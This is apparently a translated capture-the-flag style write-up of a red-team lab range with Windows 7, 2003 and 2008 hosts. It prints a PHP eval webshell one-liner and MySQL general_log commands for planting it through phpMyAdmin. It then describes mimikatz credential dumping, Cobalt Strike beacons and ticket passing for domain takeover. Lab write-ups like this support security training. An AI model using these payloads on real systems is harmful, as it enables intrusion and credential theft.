ATT&CK Practical Series - Red Team Assessment (Part 1) Range Notes#
Overview:
Virtual machine password
hongrisec@2019 Reset required after login
win7
192.168.0.1/24 Bridged
192.168.52.0/24 Internal network
win2003
192.168.52.0/24 Internal network
win2008
192.168.52.0/24 Internal network
Range Deployment
Start win2008 DC host first
Then start win2003
Finally start win7
Start phpstudy under the C drive of win7 host (software damaged and unable to start, please install separately and migrate files in WWW except for phpmyadmin)
Main Content#
Scan the external web server first and check port 80.
Scan and brute force directories, find that directory listing is possible. (Possibly caused by the newly installed phpstudy) Found sensitive files beifen.rar and phpmyadmin login.
Download and extract sensitive files, found source code. Concatenate the URL according to the source code folder and find a broken CMS, but it doesn't seem to be useful.
Look at the source code again and find the database password
Obtained the root account password for the database, which can be used to log in to phpmyadmin
First, write a webshell, and the path can be obtained from the probe
select "<?php @eval($_POST[a]);?>" into outfile (“C:/WWW/11.php”);
Failed, there are restrictions
Try using logs instead
set global general_log='on'; #Enable logging function
set global general_log_file=’D:/WWW/xxx.php’; #Set the log save address
Finally, query again to write the query content into the log
select ‘<?php @eval($_POST[a]);?>’;
Then use a webshell to connect (initially used AntSword, but couldn't connect for unknown reasons).
Use a webshell to write a China Chopper for future use, and check the permissions with China Chopper
Use China Chopper to launch an msf shell
Unable to switch to the shell with msf, always interrupted abnormally, suspected to be caused by antivirus software or firewall
Switching to the old method, use a webshell to transfer a shell, and the virtual terminal actively waits for the cs to come online
First, delegate a few more clones to myself to prevent session loss
There's not much to say after this. I originally thought I could do something fancy with this range, but I ended up with administrator privileges on the machine, and the remaining two hosts crashed their services. I didn't do much. Still using the old method, first use mimikatz to read passwords from memory.
Following the network topology, win2003 should be compromised first, and then win2008 should be compromised using the domain. Transfer the ticket to 2003, then read the password, obtain the domain admin account, and transfer it to 2008. When dealing with machines that don't have internet access, SMB beacon should be used. Pay attention to the attack session's network segment.